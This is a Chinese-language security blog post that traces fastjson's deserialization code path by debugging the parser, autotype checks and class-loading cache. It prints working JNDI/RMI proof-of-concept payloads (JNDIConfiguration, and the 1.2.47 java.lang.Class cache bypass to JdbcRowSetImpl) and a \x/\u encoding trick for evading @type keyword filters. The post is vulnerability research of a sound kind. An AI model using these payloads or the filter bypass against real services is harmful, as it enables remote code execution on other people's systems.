Fastjson 反序列化触发流程分析
跟了几个三方组件组合利用的gadget chain,一直没有去跟fastjson底层实现,不免有很多疑问之处,这里记录一下分析一下fastjson触发流程。
fastjson 1.2.61 反序列化执行流程分析
接着上一篇文章fastjson 1.2.61 远程代码执行漏洞分析(commons-configuration gadget)的poc出发:1
2
3
4
5
6
7public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSONObject exp = (JSONObject) JSON.parseObject(poc);
}
}
下断点跟进POC中的JSON.parseObject
函数:
跟进parse(String text)
函数,一顿套娃操作(java的重载特性:允许存在相同方法名,但不同参数个数及类型)
通过重载的特性,调用了三个parse
函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// 148
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
// 179
public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}
// 164
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
在DefaultJSONParser
函数中初始化了一些变量配置信息,确认起始标志位为{
:
接着进入parser.parse
函数,解析json流程:
跟进DefaultJSONParser.java#parseObject,函数较长,截取部分:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}
boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();
if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}
return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
if (lexer.isEnabled(Feature.NonStringKeyAsString)) {
key = key.toString();
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}
key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}
//...
总的来说就是一个大循环,里边嵌套了一堆if else,然后依据类型来判断,直到迭代器遍历完json数据为止,比如下面这个就是检测数字的判断:
再比如这里,匹配到双引号,则用lexer.scanSymbol
函数去获取双引号中间的值,并设置键名:
再来看这里,进行了特殊键@type
匹配,并且!lexer.isEnabled(Feature.DisableSpecialKeyDetect)
默认也是true
跟进lexer.scanSymbol(symbolTable, '"')
函数,看看它是如何获取类型名typeName
的,JSONLexerBase.java#scanSymbol,同样的,也是一个迭代判断的过程,这里看一段比较有意思的是这一段代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51if (chLocal == '\\') {
if (!hasSpecial) {
hasSpecial = true;
if (sp >= sbuf.length) {
int newCapcity = sbuf.length * 2;
if (sp > newCapcity) {
newCapcity = sp;
}
char[] newsbuf = new char[newCapcity];
System.arraycopy(sbuf, 0, newsbuf, 0, sbuf.length);
sbuf = newsbuf;
}
// text.getChars(np + 1, np + 1 + sp, sbuf, 0);
// System.arraycopy(this.buf, np + 1, sbuf, 0, sp);
arrayCopy(np + 1, sbuf, 0, sp);
}
chLocal = next();
switch (chLocal) {
// 省略大量case
case '\\': // 92
hash = 31 * hash + (int) '\\';
putChar('\\');
break;
case 'x':
char x1 = ch = next();
char x2 = ch = next();
int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;
default:
this.ch = chLocal;
throw new JSONException("unclosed.str.lit");
}
continue;
}
这段代码处理了以\x
和\u
开头的16进制字符串,也就是说我们可以用这种方式去编码转换typeName
,也就是@type
的value组件名
再验证一下这个结果,将org的o进行编码:
再试试将@type
的@
进行编码都是可行的
因为在获取key值时,也是通过lexer.scanSymbol
获取的(DefaultJSONParser.java#219行)
所以说,如果在开发代码中过滤了关键字
@type
或者组件名,可以用这个方法进行绕过
其后,在各种解码操作完成之后,在DefaultJSONParser.java#327行对其进行了AutoType校验:
ParserConfig.java#checkAutoType
经过长度、预期class、是否开启autotype等判断后,进行className
的hash计算,先有一个白名单,接着判断是否在黑名单hash里。
为了防止安全研究者研究,fastjson 从1.2.42开始,将明文的黑名单换成了哈希过的黑名单,不过github上的大牛fuzz出了一份清单https://github.com/LeadroyaL/fastjson-blacklist
在TypeUtils.loadClass
第三个参数为true
时,会缓存到Mapping:loadClass
函数,第三参数为cache
为true
时,则mappings.put(className, clazz);
进行缓存。
TypeUtils.java#loadClass1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0 || className.length() > 128){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
而在TypeUtils.java的1105行 TypeUtils.getClassFromMapping
函数,从mapping
中取出类名。
继续跟进,在1127行有一段对未开启autoType
的处理,又是一段黑白名单的处理:
接着加载了org.apache.commons.configuration2.JNDIConfiguration
模块:
同时这里判断了其是否有jsonType,jsonType = visitor.hasJsonType();
,是fastjson中定制序列化的特性,参考文档Fastjson 定制序列化和Fastjson JSONField介绍
挖坑,这里用到了ASM读写字节码的类库,参考文章深入ASM源码之ClassReader、ClassVisitor、ClassWriter。
后来还看到可以用注解有JsonType的class进行gadget chain构造,先挖坑,https://xz.aliyun.com/t/7107
继续往下跟,这里只要开了autoTypeSupport
就会将我们的class缓存进mapping
(cacheClass
为true
即缓存)
最后返回class。
通过autotype
的检测,进行反序列化操作
到这里基本从源码对fastjson解析json、@type
特殊类型解析、autotype
检测有了一个了解。
fastjson 1.2.48 JdbcRowSetImpl gadget 分析(缓存绕过autotype)
pom.xml添加下面这段代码1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
poc:1
2
3
4
5
6
7
8
9
10
11import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args){
String poc1 = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String poc2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(poc1);
JSON.parse(poc2);
}
}
或者使用数组或者在web服务连续发两个poc包即可:1
2
3
4
5
6
7
8
9import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args){
String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";
JSON.parseObject(poc2);
}
}
调试分析
下断点根进第一个poc:
和上文1.2.61调试的过程类似DefaultJSONParser
函数初始化配置,parser.parse
解析,再到parseObject
函数,这里直接来看config.checkAutoType
在不开启autotype
的情况:ParserConfig.java#checkAutoType
最开始进行class名的哈希运算,然后是开启autotype下的黑白名单检测,然后还没到后边未开启autotype的if条件里,就直接return了。
回到DefaultJSONParser.java#parseObject函数
跟进deserializer.deserialze
函数,根据val
字段来获取objVal
:
继续往下,在335行进行了一个Class
类的判断,然后调用typeUtils.loadClass
函数:
TypeUtils.java#loadClass(String className, ClassLoader classLoader)
用重载的方式,并且设置默认为true
的缓存操作,最后在TypeUtils.java#1242行将com.sun.rowset.JdbcRowSetImpl
加到mapping缓存中:
这就导致了解析第二个poc时,绕过了autotype校验,从缓存mapping中加载:
最终实例化该类,导致RCE。
最后
这篇文章通过fastjson1.2.61 commons-configuration gadget的POC动态调试入手,分析fastjson反序列化解析json流程,分析了一下源码的\u
和\x
的16进制解码操作,以及缓存机制。
同时分析了一下在fastjson 1.2.48以下TypeUtils.loadClass
缓存问题,即无需开autotype可以命令执行。
接下来的时间打算研究一下高版本jdk绕过远程类的加载问题。
参考文章: